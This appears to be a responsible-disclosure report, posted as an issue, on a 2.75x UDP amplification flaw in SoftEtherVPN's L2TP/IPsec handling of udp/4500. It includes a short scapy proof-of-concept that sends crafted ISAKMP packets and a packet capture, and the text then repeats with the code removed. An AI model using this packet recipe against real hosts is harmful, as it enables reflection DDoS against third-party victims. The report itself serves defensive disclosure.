Summary
AWS identified a pattern of problematic behaviour associated with SoftEtherVPN [1] with Layer 2 Tunneling Protocol (L2TP) enabled. When SoftEtherVPN is deployed with L2TP enabled on a device, it introduces the possibility of the host being used for amplification/reflection traffic generation because it will respond to every packet with two response packets that are larger than the request packet size. These sorts of techniques are used by external actors who generate spoofed source IPs to target a destination on the internet.
When reproducing the behaviour, it was found that a single ISAKMP packet sent to the default NAT traversal port of udp/4500 with a non-zero init_cookie field (a.k.a. Init SPI) would result in two packets in the response. Though this represents a relatively weak 2.75 amplification factor (56 byte packet results in 156 byte response), threat actors have been observed leveraging this issue. This issue affects the users of SoftEtherVPN as their resources may not be able to keep up with the pace of received packets for which there is no Security Association (SA) and the targets that the SoftEtherVPN software sends its packets to in response.
[1] https://github.com/SoftEtherVPN/SoftEtherVPN
Scope of Impact
In our review, we were able to test the issue only:
- with the SoftEtherVPN software deployed
- with the L2TP functionality enabled
- ACLs open to the world (typical for client-to-site VPN)
- A valid IP/UDP/ISAKMP packet with non-zero InitSPI field
When these conditions are satisfied, any packet received by the VPN server will result in two packets being emitted. While this is a relatively weak amplification factor, it has affected the resources used as reflectors and the victim IP that the reflectors are responding to.
Proof of Concept
The following python3/scapy code will result in two packets emitted for every packet received by the test node.
#!/usr/bin/env python3
from scapy.all import *
test_node = '1.234.45.67'
# any of these produce the desired behaviour
p = IP(dst=test_node)/UDP(sport=53, dport=4500)/Raw(b'0000828008a73f149d2e191100000000000000000b100500a31bf2db0000003000000014000000010304000b0000828000008280')
p = IP(dst=test_node)/UDP(sport=53, dport=4500)/ISAKMP(init_cookie=b'0000828008a73f14')
p = IP(dst=test_node)/UDP(sport=53, dport=4500)/fuzz(ISAKMP())
Packet Capture of Test
22:42:57.895546 ens5 Out IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 56)
172.31.5.203.53 > 1.234.45.67.8910 [udp sum ok] 24041 notify NXDomain| [53983q] q: [|domain]
22:42:58.108261 ens5 In IP (tos 0x0, ttl 49, id 15256, offset 0, flags [DF], proto UDP (17), length 80)
1.234.45.67.4500 > 172.31.5.203.53: [udp sum ok] 0 [17458a] [37094q] [40537n] [54352au] Type0 (Class 0)? . Type0(Class 2832)? . Type0 (Class 12288)? ^@b^@^MM-y. ISDN (Class 0)? . Type259 (Class 1024)? . [|domain]
22:42:58.108261 ens5 In IP (tos 0x0, ttl 49, id 15257, offset 0, flags [DF], proto UDP (17), length 76)
1.234.45.67.4500 > 172.31.5.203.53: [udp sum ok] 0 [23380a] [37255q] [38910n] [31289au] Type0 (Class 0)? . Type0(Class 3088)? . Type0 (Class 11264)? ^@;M-EM-^FM-^X. TXT (Class 0)? . Type259 (Class 1024)? . [|domain]
The result is a ~2.75 amplification factor. While this is relatively weak, it is successfully being leveraged in DDoS events today.
Our hypothesis is that the problematic behaviour is likely a result of the following function:
https://github.com/SoftEtherVPN/SoftEtherVPN/blob/master/src/Cedar/Proto_IKE.c#L406
An IPSEC_PORT_IPSEC_ESP_UDP packet is received by the function, where it passes through SPI and SeqNo checks. No existing IPsec SA is likely found and assigned NULL, which would result in two actions in the response: SendInformationalExchangePacketEx() and SendDeleteIPsecSaPacket().
Mitigation
The code should be updated so that a packet received to udp/4500 by the SoftEtherVPN server would result in no emitted responses if an SA was not (at least partially) matched.
Disclosure and usage terms
- We are requesting a 90 day embargo for this issue, and kindly ask to be advised of SoftEtherVPN‘s planned public disclosure date.
- We do not plan to discuss this issue with other parties or disclose it independently in any public forum; if these plans change, we will give the SoftEtherVPN's team advance notice.
Please keep us informed of progress as a fix for this issue is developed and let us know if you require any additional information. We would be happy to discuss further via email or phone.
phillibert Reporter
Summary
AWS identified a pattern of problematic behaviour associated with SoftEtherVPN [1] with Layer 2 Tunneling Protocol (L2TP) enabled. When SoftEtherVPN is deployed with L2TP enabled on a device, it introduces the possibility of the host being used for amplification/reflection traffic generation because it will respond to every packet with two response packets that are larger than the request packet size. These sorts of techniques are used by external actors who generate spoofed source IPs to target a destination on the internet.
When reproducing the behaviour, it was found that a single ISAKMP packet sent to the default NAT traversal port of udp/4500 with a non-zero init_cookie field (a.k.a. Init SPI) would result in two packets in the response. Though this represents a relatively weak 2.75 amplification factor (56 byte packet results in 156 byte response), threat actors have been observed leveraging this issue. This issue affects the users of SoftEtherVPN as their resources may not be able to keep up with the pace of received packets for which there is no Security Association (SA) and the targets that the SoftEtherVPN software sends its packets to in response.
[1] https://github.com/SoftEtherVPN/SoftEtherVPN
Scope of Impact
In our review, we were able to test the issue only:
When these conditions are satisfied, any packet received by the VPN server will result in two packets being emitted. While this is a relatively weak amplification factor, it has affected the resources used as reflectors and the victim IP that the reflectors are responding to.
Proof of Concept
The following python3/scapy code will result in two packets emitted for every packet received by the test node.
Packet Capture of Test
The result is a ~2.75 amplification factor. While this is relatively weak, it is successfully being leveraged in DDoS events today.
Our hypothesis is that the problematic behaviour is likely a result of the following function:
https://github.com/SoftEtherVPN/SoftEtherVPN/blob/master/src/Cedar/Proto_IKE.c#L406
An
IPSEC_PORT_IPSEC_ESP_UDPpacket is received by the function, where it passes through SPI and SeqNo checks. No existing IPsec SA is likely found and assigned NULL, which would result in two actions in the response:SendInformationalExchangePacketEx()andSendDeleteIPsecSaPacket().Mitigation
The code should be updated so that a packet received to udp/4500 by the SoftEtherVPN server would result in no emitted responses if an SA was not (at least partially) matched.
Disclosure and usage terms
Please keep us informed of progress as a fix for this issue is developed and let us know if you require any additional information. We would be happy to discuss further via email or phone.